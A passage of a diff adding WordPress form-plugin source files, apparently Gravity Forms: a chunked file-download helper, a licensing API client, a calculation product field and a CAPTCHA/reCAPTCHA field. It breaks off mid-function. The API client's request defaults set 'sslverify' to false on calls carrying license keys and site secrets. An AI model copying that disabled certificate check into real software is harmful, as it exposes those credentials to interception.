GFCommon::log_debug( __METHOD__ . '(): File does not exist. Aborting with 404.' );
|
||||
self::die_404();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the appropriate mime type for the file extension.
|
||||
*
|
||||
* @param $file_path
|
||||
*
|
||||
* @return mixed|null|string
|
||||
*/
|
||||
private static function get_content_type( $file_path ) {
|
||||
$info = wp_check_filetype( $file_path );
|
||||
$type = rgar( $info, 'type' );
|
||||
|
||||
return $type;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reads file in chunks so big downloads are possible without changing PHP.INI
|
||||
* See https://github.com/bcit-ci/CodeIgniter/wiki/Download-helper-for-large-files
|
||||
*
|
||||
* @access public
|
||||
* @param string $file The file
|
||||
* @param boolean $retbytes Return the bytes of file
|
||||
* @return bool|string If string, $status || $cnt
|
||||
*/
|
||||
private static function readfile_chunked( $file, $retbytes = true ) {
|
||||
|
||||
$chunksize = 1024 * 1024;
|
||||
$buffer = '';
|
||||
$cnt = 0;
|
||||
$handle = @fopen( $file, 'r' );
|
||||
|
||||
if ( $size = @filesize( $file ) ) {
|
||||
header( 'Content-Length: ' . $size );
|
||||
}
|
||||
|
||||
if ( false === $handle ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
while ( ! @feof( $handle ) ) {
|
||||
$buffer = @fread( $handle, $chunksize );
|
||||
echo $buffer;
|
||||
|
||||
if ( $retbytes ) {
|
||||
$cnt += strlen( $buffer );
|
||||
}
|
||||
}
|
||||
|
||||
$status = @fclose( $handle );
|
||||
|
||||
if ( $retbytes && $status ) {
|
||||
return $cnt;
|
||||
}
|
||||
|
||||
return $status;
|
||||
}
|
||||
|
||||
/**
|
||||
* Ends the request with a 404 (Not Found) HTTP status code. Loads the 404 template if it exists.
|
||||
*/
|
||||
private static function die_404() {
|
||||
global $wp_query;
|
||||
status_header( 404 );
|
||||
$wp_query->set_404();
|
||||
$template_path = get_404_template();
|
||||
if ( file_exists( $template_path ) ) {
|
||||
require_once( $template_path );
|
||||
}
|
||||
die();
|
||||
}
|
||||
|
||||
/**
|
||||
* Ends the request with a 401 (Unauthorized) HTTP status code.
|
||||
*/
|
||||
private static function die_401() {
|
||||
status_header( 401 );
|
||||
die();
|
||||
}
|
||||
}
|
||||
1907
includes/class-gf-upgrade.php
Normal file
1907
includes/class-gf-upgrade.php
Normal file
File diff suppressed because it is too large
Load Diff
266
includes/class-gravity-api.php
Normal file
266
includes/class-gravity-api.php
Normal file
@@ -0,0 +1,266 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
if ( ! defined( 'GRAVITY_API_URL' ) ) {
|
||||
define( 'GRAVITY_API_URL', 'https://gravityapi.com/wp-json/gravityapi/v1' );
|
||||
}
|
||||
|
||||
if ( ! class_exists( 'Gravity_Api' ) ) {
|
||||
|
||||
/**
|
||||
* Client-side API wrapper for interacting with the Gravity APIs.
|
||||
*
|
||||
* @package Gravity Forms
|
||||
* @subpackage Gravity_Api
|
||||
* @since 1.9
|
||||
* @access public
|
||||
*/
|
||||
|
||||
class Gravity_Api {
|
||||
|
||||
private static $instance = null;
|
||||
|
||||
public static function get_instance() {
|
||||
if ( null == self::$instance ) {
|
||||
self::$instance = new self;
|
||||
}
|
||||
|
||||
return self::$instance;
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieves site key and site secret key from remote API and stores them as WP options. Returns false if license key is invalid; otherwise, returns true.
|
||||
*
|
||||
* @since 2.3
|
||||
* @access public
|
||||
*
|
||||
* @param string $license_key License key to be registered
|
||||
* @param boolean $is_md5 Specifies if $license_key provided is an MD5 or unhashed license key.
|
||||
*
|
||||
* @return bool Success
|
||||
*/
|
||||
public function register_current_site( $license_key, $is_md5 = false ) {
|
||||
|
||||
$body = array();
|
||||
$body['site_name'] = get_bloginfo( 'name' );
|
||||
$body['site_url'] = get_bloginfo( 'url' );
|
||||
|
||||
if ( $is_md5 ) {
|
||||
|
||||
$body['license_key_md5'] = $license_key;
|
||||
|
||||
} else {
|
||||
|
||||
$body['license_key'] = $license_key;
|
||||
|
||||
}
|
||||
|
||||
GFCommon::log_debug( __METHOD__ . '(): registering site' );
|
||||
|
||||
$result = $this->request( 'sites', $body, 'POST', array( 'headers' => $this->get_license_auth_header( $license_key ) ) );
|
||||
$result = $this->prepare_response_body( $result );
|
||||
|
||||
if ( is_wp_error( $result ) || ! is_object( $result ) ) {
|
||||
GFCommon::log_error( __METHOD__ . '(): error registering site. ' . print_r( $result, true ) );
|
||||
return $result;
|
||||
}
|
||||
|
||||
// Updating site key and secret
|
||||
update_option( 'gf_site_key', $result->key );
|
||||
update_option( 'gf_site_secret', $result->secret );
|
||||
|
||||
GFCommon::log_debug( __METHOD__ . '(): site registration successful. Site Key: ' . $result->key );
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Updates license key for a site that has already been registered.
|
||||
*
|
||||
* @since 2.3
|
||||
* @access public
|
||||
*
|
||||
* @param string $new_license_key_md5 Hash license key to be updated
|
||||
*
|
||||
* @return bool Success
|
||||
*/
|
||||
public function update_current_site( $new_license_key_md5 ) {
|
||||
|
||||
$site_key = $this->get_site_key();
|
||||
$site_secret = $this->get_site_secret();
|
||||
if ( empty( $site_key ) || empty( $site_secret ) ) {
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
$body = GFCommon::get_remote_post_params();
|
||||
$body['site_name'] = get_bloginfo( 'name' );
|
||||
$body['site_url'] = get_bloginfo( 'url' );
|
||||
$body['site_key'] = $site_key;
|
||||
$body['site_secret'] = $site_secret;
|
||||
$body['license_key_md5'] = $new_license_key_md5;
|
||||
|
||||
GFCommon::log_debug( __METHOD__ . '(): refreshing license info' );
|
||||
|
||||
$result = $this->request( 'sites/' . $site_key, $body, 'PUT', array( 'headers' => $this->get_site_auth_header( $site_key, $site_secret ) ) );
|
||||
$result = $this->prepare_response_body( $result );
|
||||
|
||||
if ( is_wp_error( $result ) ) {
|
||||
|
||||
GFCommon::log_debug( __METHOD__ . '(): error updating site registration. ' . print_r( $result, true ) );
|
||||
return $result;
|
||||
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/***
|
||||
* Removes a license key from a registered site. NOTE: It doesn't actually deregister the site.
|
||||
*
|
||||
* @deprecated Use gapi()->update_current_site('') instead.
|
||||
*
|
||||
* @return bool|WP_Error
|
||||
*/
|
||||
public function deregister_current_site() {
|
||||
|
||||
$site_key = $this->get_site_key();
|
||||
$site_secret = $this->get_site_secret();
|
||||
|
||||
if ( empty( $site_key ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
GFCommon::log_debug( __METHOD__ . '(): deregistering' );
|
||||
|
||||
$body = array(
|
||||
'license_key_md5' => '',
|
||||
);
|
||||
|
||||
$result = $this->request( 'sites/' . $site_key, $body, 'PUT', array( 'headers' => $this->get_site_auth_header( $site_key, $site_secret ) ) );
|
||||
$result = $this->prepare_response_body( $result );
|
||||
|
||||
if ( is_wp_error( $result ) ) {
|
||||
|
||||
GFCommon::log_debug( __METHOD__ . '(): error updating site registration. ' . print_r( $result, true ) );
|
||||
return $result;
|
||||
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
// # HELPERS
|
||||
|
||||
private function get_site_auth_header( $site_key, $site_secret ) {
|
||||
|
||||
$auth = base64_encode( "{$site_key}:{$site_secret}" );
|
||||
return array( 'Authorization' => 'GravityAPI ' . $auth );
|
||||
|
||||
}
|
||||
|
||||
private function get_license_auth_header( $license_key_md5 ) {
|
||||
|
||||
$auth = base64_encode( "license:{$license_key_md5}" );
|
||||
return array( 'Authorization' => 'GravityAPI ' . $auth );
|
||||
|
||||
}
|
||||
|
||||
public function prepare_response_body( $raw_response ) {
|
||||
|
||||
if ( is_wp_error( $raw_response ) ) {
|
||||
return $raw_response;
|
||||
} elseif ( $raw_response['response']['code'] != 200 ) {
|
||||
return new WP_Error( 'server_error', 'Error from server: ' . $raw_response['response']['message'] );
|
||||
}
|
||||
|
||||
$response_body = json_decode( $raw_response['body'] );
|
||||
|
||||
if ( $response_body === null ) {
|
||||
return new WP_Error( 'invalid_response', 'Invalid response from server: ' . $raw_response['body'] );
|
||||
}
|
||||
|
||||
return $response_body;
|
||||
}
|
||||
|
||||
public function purge_site_credentials() {
|
||||
|
||||
delete_option( 'gf_site_key' );
|
||||
delete_option( 'gf_site_secret' );
|
||||
}
|
||||
|
||||
public function request( $resource, $body, $method = 'POST', $options = array() ) {
|
||||
$body['timestamp'] = time();
|
||||
|
||||
// set default options
|
||||
$options = wp_parse_args( $options, array(
|
||||
'method' => $method,
|
||||
'timeout' => 10,
|
||||
'body' => in_array( $method, array( 'GET', 'DELETE' ) ) ? null : json_encode( $body ),
|
||||
'headers' => array(),
|
||||
'sslverify' => false,
|
||||
) );
|
||||
|
||||
// set default header options
|
||||
$options['headers'] = wp_parse_args( $options['headers'], array(
|
||||
'Content-Type' => 'application/json; charset=' . get_option( 'blog_charset' ),
|
||||
'User-Agent' => 'WordPress/' . get_bloginfo( 'version' ),
|
||||
'Referer' => get_bloginfo( 'url' ),
|
||||
) );
|
||||
|
||||
// WP docs say method should be uppercase
|
||||
$options['method'] = strtoupper( $options['method'] );
|
||||
|
||||
$request_url = $this->get_gravity_api_url() . $resource;
|
||||
$raw_response = wp_remote_request( $request_url, $options );
|
||||
|
||||
|
||||
return $raw_response;
|
||||
}
|
||||
|
||||
public function get_site_key() {
|
||||
|
||||
if ( defined( 'GRAVITY_API_SITE_KEY' ) ) {
|
||||
return GRAVITY_API_SITE_KEY;
|
||||
}
|
||||
|
||||
$site_key = get_option( 'gf_site_key' );
|
||||
if ( empty( $site_key ) ) {
|
||||
return false;
|
||||
}
|
||||
return $site_key;
|
||||
|
||||
}
|
||||
|
||||
public function get_site_secret() {
|
||||
if ( defined( 'GRAVITY_API_SITE_SECRET' ) ) {
|
||||
return GRAVITY_API_SITE_SECRET;
|
||||
}
|
||||
$site_secret = get_option( 'gf_site_secret' );
|
||||
if ( empty( $site_secret ) ) {
|
||||
return false;
|
||||
}
|
||||
return $site_secret;
|
||||
}
|
||||
|
||||
public function get_gravity_api_url() {
|
||||
return trailingslashit( GRAVITY_API_URL );
|
||||
}
|
||||
|
||||
public function is_site_registered() {
|
||||
return $this->get_site_key() && $this->get_site_secret();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function gapi() {
|
||||
return Gravity_Api::get_instance();
|
||||
}
|
||||
|
||||
gapi();
|
||||
|
||||
}
|
||||
1299
includes/fields/class-gf-field-address.php
Normal file
1299
includes/fields/class-gf-field-address.php
Normal file
File diff suppressed because it is too large
Load Diff
127
includes/fields/class-gf-field-calculation.php
Normal file
127
includes/fields/class-gf-field-calculation.php
Normal file
@@ -0,0 +1,127 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Calculation extends GF_Field {
|
||||
|
||||
public $type = 'calculation';
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'disable_quantity_setting',
|
||||
'rules_setting',
|
||||
'duplicate_setting',
|
||||
'calculation_setting',
|
||||
'conditional_logic_field_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_form_editor_button() {
|
||||
return array();
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
$quantity_id = $this->id . '.3';
|
||||
$quantity = rgget( $quantity_id, $value );
|
||||
|
||||
if ( $this->isRequired && rgblank( $quantity ) && ! $this->disableQuantity ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty($this->errorMessage) ? esc_html__( 'This field is required.', 'gravityforms' ) : $this->errorMessage;
|
||||
} elseif ( ! empty( $quantity ) && ( ! is_numeric( $quantity ) || intval( $quantity ) != floatval( $quantity ) || intval( $quantity ) < 0 ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = esc_html__( 'Please enter a valid quantity', 'gravityforms' );
|
||||
}
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = $form['id'];
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$product_name = ! is_array( $value ) || empty( $value[ $this->id . '.1' ] ) ? esc_attr( $this->label ) : esc_attr( $value[ $this->id . '.1' ] );
|
||||
$price = ! is_array( $value ) || empty( $value[ $this->id . '.2' ] ) ? $this->basePrice : esc_attr( $value[ $this->id . '.2' ] );
|
||||
$quantity = is_array( $value ) ? esc_attr( $value[ $this->id . '.3' ] ) : '';
|
||||
|
||||
if ( empty( $price ) ) {
|
||||
$price = 0;
|
||||
}
|
||||
|
||||
$has_quantity = sizeof( GFCommon::get_product_fields_by_type( $form, array( 'quantity' ), $this->id ) ) > 0;
|
||||
if ( $has_quantity ) {
|
||||
$this->disableQuantity = true;
|
||||
}
|
||||
|
||||
$currency = $is_entry_detail && ! empty( $entry ) ? $entry['currency'] : '';
|
||||
|
||||
$quantity_field = '';
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$qty_input_type = GFFormsModel::is_html5_enabled() ? 'number' : 'text';
|
||||
|
||||
$product_quantity_sub_label = gf_apply_filters( array( 'gform_product_quantity', $form_id, $this->id ), esc_html__( 'Quantity:', 'gravityforms' ), $form_id );
|
||||
|
||||
if ( $is_entry_detail || $is_form_editor ) {
|
||||
$style = $this->disableQuantity ? "style='display:none;'" : '';
|
||||
$quantity_field = " <span class='ginput_quantity_label' {$style}>{$product_quantity_sub_label}</span> <input type='{$qty_input_type}' name='input_{$id}.3' value='{$quantity}' id='ginput_quantity_{$form_id}_{$this->id}' class='ginput_quantity' size='10' {$disabled_text}/>";
|
||||
} elseif ( ! $this->disableQuantity ) {
|
||||
$tabindex = $this->get_tabindex();
|
||||
$quantity_field .= " <span class='ginput_quantity_label'>" . $product_quantity_sub_label . "</span> <input type='{$qty_input_type}' name='input_{$id}.3' value='{$quantity}' id='ginput_quantity_{$form_id}_{$this->id}' class='ginput_quantity' size='10' {$tabindex} {$disabled_text}/>";
|
||||
} else {
|
||||
if ( ! is_numeric( $quantity ) ) {
|
||||
$quantity = 1;
|
||||
}
|
||||
|
||||
if ( ! $has_quantity ) {
|
||||
$quantity_field .= "<input type='hidden' name='input_{$id}.3' value='{$quantity}' class='ginput_quantity_{$form_id}_{$this->id} gform_hidden' />";
|
||||
}
|
||||
}
|
||||
|
||||
return "<div class='ginput_container ginput_container_product_calculation'>
|
||||
<input type='hidden' name='input_{$id}.1' value='{$product_name}' class='gform_hidden' />
|
||||
<span class='ginput_product_price_label'>" . gf_apply_filters( array( 'gform_product_price', $form_id, $this->id ), esc_html__( 'Price', 'gravityforms' ), $form_id ) . ":</span> <span class='ginput_product_price' id='{$field_id}'>" . esc_html( GFCommon::to_money( $price, $currency ) ) . "</span>
|
||||
<input type='hidden' name='input_{$id}.2' id='ginput_base_price_{$form_id}_{$this->id}' class='gform_hidden' value='" . esc_attr( $price ) . "'/>
|
||||
{$quantity_field}
|
||||
</div>";
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
if ( is_array( $value ) && ! empty( $value ) ) {
|
||||
$product_name = trim( $value[ $this->id . '.1' ] );
|
||||
$price = trim( $value[ $this->id . '.2' ] );
|
||||
$quantity = trim( $value[ $this->id . '.3' ] );
|
||||
|
||||
$product = $product_name . ', ' . esc_html__( 'Qty: ', 'gravityforms' ) . $quantity . ', ' . esc_html__( 'Price: ', 'gravityforms' ) . $price;
|
||||
|
||||
return $product;
|
||||
} else {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
// ignore submitted value and recalculate price in backend
|
||||
list( $prefix, $field_id, $input_id ) = rgexplode( '_', $input_name, 3 );
|
||||
if ( $input_id == 2 ) {
|
||||
$currency = new RGCurrency( GFCommon::get_currency() );
|
||||
$lead = empty( $lead ) ? RGFormsModel::get_lead( $lead_id ) : $lead;
|
||||
$value = $currency->to_money( GFCommon::calculate( $this, $form, $lead ) );
|
||||
}
|
||||
return $value;
|
||||
}
|
||||
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
$this->enableCalculation = (bool) $this->enableCalculation;
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Calculation() );
|
||||
443
includes/fields/class-gf-field-captcha.php
Normal file
443
includes/fields/class-gf-field-captcha.php
Normal file
@@ -0,0 +1,443 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_CAPTCHA extends GF_Field {
|
||||
|
||||
public $type = 'captcha';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'CAPTCHA', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'captcha_type_setting',
|
||||
'captcha_size_setting',
|
||||
'captcha_fg_setting',
|
||||
'captcha_bg_setting',
|
||||
'captcha_language_setting',
|
||||
'captcha_theme_setting',
|
||||
'conditional_logic_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
switch ( $this->captchaType ) {
|
||||
case 'simple_captcha' :
|
||||
if ( class_exists( 'ReallySimpleCaptcha' ) ) {
|
||||
$prefix = $_POST[ "input_captcha_prefix_{$this->id}" ];
|
||||
$captcha_obj = $this->get_simple_captcha();
|
||||
|
||||
if ( ! $captcha_obj->check( $prefix, str_replace( ' ', '', $value ) ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( "The CAPTCHA wasn't entered correctly. Go back and try it again.", 'gravityforms' ) : $this->errorMessage;
|
||||
}
|
||||
|
||||
//removes old files in captcha folder (older than 1 hour);
|
||||
$captcha_obj->cleanup();
|
||||
}
|
||||
break;
|
||||
|
||||
case 'math' :
|
||||
$prefixes = explode( ',', $_POST[ "input_captcha_prefix_{$this->id}" ] );
|
||||
$captcha_obj = $this->get_simple_captcha();
|
||||
|
||||
//finding first number
|
||||
for ( $first = 0; $first < 10; $first ++ ) {
|
||||
if ( $captcha_obj->check( $prefixes[0], $first ) ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//finding second number
|
||||
for ( $second = 0; $second < 10; $second ++ ) {
|
||||
if ( $captcha_obj->check( $prefixes[2], $second ) ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//if it is a +, perform the sum
|
||||
if ( $captcha_obj->check( $prefixes[1], '+' ) ) {
|
||||
$result = $first + $second;
|
||||
} else {
|
||||
$result = $first - $second;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if ( intval( $result ) != intval( $value ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( "The CAPTCHA wasn't entered correctly. Go back and try it again.", 'gravityforms' ) : $this->errorMessage;
|
||||
}
|
||||
|
||||
//removes old files in captcha folder (older than 1 hour);
|
||||
$captcha_obj->cleanup();
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
$this->validate_recaptcha( $form );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public function validate_recaptcha( $form ) {
|
||||
|
||||
// when user clicks on the "I'm not a robot" box, the response token is populated into a hidden field by Google, get token from POST
|
||||
$response_token = sanitize_text_field( rgpost( 'g-recaptcha-response' ) );
|
||||
$hash = sanitize_text_field( rgpost( 'gf-recaptcha-response-hash' ) );
|
||||
|
||||
if( GFFormDisplay::is_last_page( $form ) && $hash && wp_hash( $response_token ) === $hash ) {
|
||||
$is_valid = true;
|
||||
} else {
|
||||
$is_valid = $this->verify_recaptcha_response( $response_token );
|
||||
}
|
||||
|
||||
|
||||
if ( ! $is_valid ) {
|
||||
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? __( 'The reCAPTCHA was invalid. Go back and try it again.', 'gravityforms' ) : $this->errorMessage;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public function verify_recaptcha_response( $response, $secret_key = null ) {
|
||||
|
||||
$verify_url = 'https://www.google.com/recaptcha/api/siteverify';
|
||||
|
||||
if ( $secret_key == null ) {
|
||||
$secret_key = get_option( 'rg_gforms_captcha_private_key' );
|
||||
}
|
||||
|
||||
// pass secret key and token for verification of whether the response was valid
|
||||
$response = wp_remote_post( $verify_url, array(
|
||||
'method' => 'POST',
|
||||
'body' => array(
|
||||
'secret' => $secret_key,
|
||||
'response' => $response
|
||||
),
|
||||
) );
|
||||
|
||||
if ( ! is_wp_error( $response ) ) {
|
||||
$result = json_decode( wp_remote_retrieve_body( $response ) );
|
||||
|
||||
return $result->success == true;
|
||||
} else {
|
||||
GFCommon::log_debug( __METHOD__ . '(): Validating the reCAPTCHA response has failed due to the following: ' . $response->get_error_message() );
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = $form['id'];
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
switch ( $this->captchaType ) {
|
||||
case 'simple_captcha' :
|
||||
$size = empty($this->simpleCaptchaSize) ? 'medium' : esc_attr( $this->simpleCaptchaSize );
|
||||
$captcha = $this->get_captcha();
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$dimensions = $is_entry_detail || $is_form_editor ? '' : "width='" . esc_attr( rgar( $captcha, 'width' ) ) . "' height='" . esc_attr( rgar( $captcha, 'height' ) ) . "'";
|
||||
|
||||
return "<div class='gfield_captcha_container'><img class='gfield_captcha' src='" . esc_url( rgar( $captcha, 'url' ) ) . "' alt='' {$dimensions} /><div class='gfield_captcha_input_container simple_captcha_{$size}'><input type='text' name='input_{$id}' id='{$field_id}' {$tabindex}/><input type='hidden' name='input_captcha_prefix_{$id}' value='" . esc_attr( rgar( $captcha, 'prefix' ) ) . "' /></div></div>";
|
||||
break;
|
||||
|
||||
case 'math' :
|
||||
$size = empty( $this->simpleCaptchaSize ) ? 'medium' : esc_attr( $this->simpleCaptchaSize );
|
||||
$captcha_1 = $this->get_math_captcha( 1 );
|
||||
$captcha_2 = $this->get_math_captcha( 2 );
|
||||
$captcha_3 = $this->get_math_captcha( 3 );
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
$dimensions = $is_entry_detail || $is_form_editor ? '' : "width='" . esc_attr( rgar( $captcha_1, 'width' ) ) . "' height='" . esc_attr( rgar( $captcha_1, 'height' ) ) . "'";
|
||||
$prefix_value = rgar( $captcha_1, 'prefix' ) . ',' . rgar( $captcha_2, 'prefix' ) . ',' . rgar( $captcha_3, 'prefix' );
|
||||
|
||||
return "<div class='gfield_captcha_container'><img class='gfield_captcha' src='" . esc_url( rgar( $captcha_1, 'url' ) ) . "' alt='' {$dimensions} /><img class='gfield_captcha' src='" . esc_url( rgar( $captcha_2, 'url' ) ) . "' alt='' {$dimensions} /><img class='gfield_captcha' src='" . esc_url( rgar( $captcha_3, 'url' ) ) . "' alt='' {$dimensions} /><div class='gfield_captcha_input_container math_{$size}'><input type='text' name='input_{$id}' id='{$field_id}' {$tabindex}/><input type='hidden' name='input_captcha_prefix_{$id}' value='" . esc_attr( $prefix_value ) . "' /></div></div>";
|
||||
break;
|
||||
|
||||
default:
|
||||
|
||||
$site_key = get_option( 'rg_gforms_captcha_public_key' );
|
||||
$secret_key = get_option( 'rg_gforms_captcha_private_key' );
|
||||
$theme = in_array( $this->captchaTheme, array( 'blackglass', 'dark' ) ) ? 'dark' : 'light';
|
||||
|
||||
if ( $is_entry_detail || $is_form_editor ){
|
||||
|
||||
//for admin, show a thumbnail depending on chosen theme
|
||||
if ( empty( $site_key ) || empty( $secret_key ) ) {
|
||||
|
||||
return "<div class='captcha_message'>" . __( 'To use the reCAPTCHA field you must do the following:', 'gravityforms' ) . "</div><div class='captcha_message'>1 - <a href='https://www.google.com/recaptcha/admin' target='_blank'>" . sprintf( __( 'Sign up%s for an API key pair for your site.', 'gravityforms' ), '</a>' ) . "</div><div class='captcha_message'>2 - " . sprintf( __( 'Enter your reCAPTCHA site and secret keys in the reCAPTCHA Settings section of the %sSettings page%s', 'gravityforms' ), "<a href='?page=gf_settings' target='_blank'>", '</a>' ) . '</div>';
|
||||
|
||||
} else {
|
||||
|
||||
return "<div class='ginput_container'><img class='gfield_captcha' src='" . GFCommon::get_base_url() . "/images/captcha_$theme.jpg' alt='reCAPTCHA' title='reCAPTCHA'/></div>";
|
||||
}
|
||||
}
|
||||
else {
|
||||
|
||||
$language = empty( $this->captchaLanguage ) ? 'en' : $this->captchaLanguage;
|
||||
|
||||
// script is queued for the footer with the language property specified
|
||||
wp_enqueue_script( 'gform_recaptcha', 'https://www.google.com/recaptcha/api.js?hl=' . $language . '&render=explicit', array(), false, true );
|
||||
|
||||
add_action( 'wp_footer', array( $this, 'ensure_recaptcha_js' ), 21 );
|
||||
add_action( 'gform_preview_footer', array( $this, 'ensure_recaptcha_js' ) );
|
||||
|
||||
$tabindex = GFCommon::$tab_index++;
|
||||
|
||||
$stoken = '';
|
||||
|
||||
if ( $this->use_stoken() ) {
|
||||
// The secure token is a deprecated feature of the reCAPTCHA API.
|
||||
// https://developers.google.com/recaptcha/docs/secure_token
|
||||
$secure_token = self::create_recaptcha_secure_token( $secret_key );
|
||||
$stoken = sprintf( 'data-stoken=\'%s\'', esc_attr( $secure_token ) );
|
||||
}
|
||||
|
||||
$output = "<div id='" . esc_attr( $field_id ) ."' class='ginput_container ginput_recaptcha' data-sitekey='" . esc_attr( $site_key ) . "' {$stoken} data-theme='" . esc_attr( $theme ) . "' data-tabindex='{$tabindex}'></div>";
|
||||
|
||||
$recaptcha_response = sanitize_text_field( rgpost( 'g-recaptcha-response' ) );
|
||||
$current_page = GFFormDisplay::get_current_page( $form['id'] );
|
||||
|
||||
if( $recaptcha_response && ! $this->failed_validation && $current_page != $this->pageNumber ) {
|
||||
|
||||
$hash = sanitize_text_field( rgpost( 'gf-recaptcha-response-hash' ) );
|
||||
if( ! $hash ) {
|
||||
$hash = wp_hash( $recaptcha_response );
|
||||
}
|
||||
|
||||
$hash = esc_attr( $hash );
|
||||
$recaptcha_response = esc_attr( $recaptcha_response );
|
||||
|
||||
$output .= "<input type='hidden' name='g-recaptcha-response' value='{$recaptcha_response}'>";
|
||||
$output .= "<input type='hidden' name='gf-recaptcha-response-hash' value='{$hash}'>";
|
||||
|
||||
}
|
||||
|
||||
return $output;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function ensure_recaptcha_js(){
|
||||
?>
|
||||
<script type="text/javascript">
|
||||
( function( $ ) {
|
||||
$( document ).bind( 'gform_post_render', function() {
|
||||
var gfRecaptchaPoller = setInterval( function() {
|
||||
if( ! window.grecaptcha || ! window.grecaptcha.render ) {
|
||||
return;
|
||||
}
|
||||
renderRecaptcha();
|
||||
clearInterval( gfRecaptchaPoller );
|
||||
}, 100 );
|
||||
} );
|
||||
} )( jQuery );
|
||||
</script>
|
||||
|
||||
<?php
|
||||
}
|
||||
|
||||
public function get_captcha() {
|
||||
if ( ! class_exists( 'ReallySimpleCaptcha' ) ) {
|
||||
return array();
|
||||
}
|
||||
|
||||
$captcha = $this->get_simple_captcha();
|
||||
|
||||
//If captcha folder does not exist and can't be created, return an empty captcha
|
||||
if ( ! wp_mkdir_p( $captcha->tmp_dir ) ) {
|
||||
return array();
|
||||
}
|
||||
|
||||
$captcha->char_length = 5;
|
||||
switch ( $this->simpleCaptchaSize ) {
|
||||
case 'small' :
|
||||
$captcha->img_size = array( 100, 28 );
|
||||
$captcha->font_size = 18;
|
||||
$captcha->base = array( 8, 20 );
|
||||
$captcha->font_char_width = 17;
|
||||
|
||||
break;
|
||||
|
||||
case 'large' :
|
||||
$captcha->img_size = array( 200, 56 );
|
||||
$captcha->font_size = 32;
|
||||
$captcha->base = array( 18, 42 );
|
||||
$captcha->font_char_width = 35;
|
||||
break;
|
||||
|
||||
default :
|
||||
$captcha->img_size = array( 150, 42 );
|
||||
$captcha->font_size = 26;
|
||||
$captcha->base = array( 15, 32 );
|
||||
$captcha->font_char_width = 25;
|
||||
break;
|
||||
}
|
||||
|
||||
if ( ! empty( $this->simpleCaptchaFontColor ) ) {
|
||||
$captcha->fg = $this->hex2rgb( $this->simpleCaptchaFontColor );
|
||||
}
|
||||
if ( ! empty( $this->simpleCaptchaBackgroundColor ) ) {
|
||||
$captcha->bg = $this->hex2rgb( $this->simpleCaptchaBackgroundColor );
|
||||
}
|
||||
|
||||
$word = $captcha->generate_random_word();
|
||||
$prefix = mt_rand();
|
||||
$filename = $captcha->generate_image( $prefix, $word );
|
||||
$url = RGFormsModel::get_upload_url( 'captcha' ) . '/' . $filename;
|
||||
$path = $captcha->tmp_dir . $filename;
|
||||
|
||||
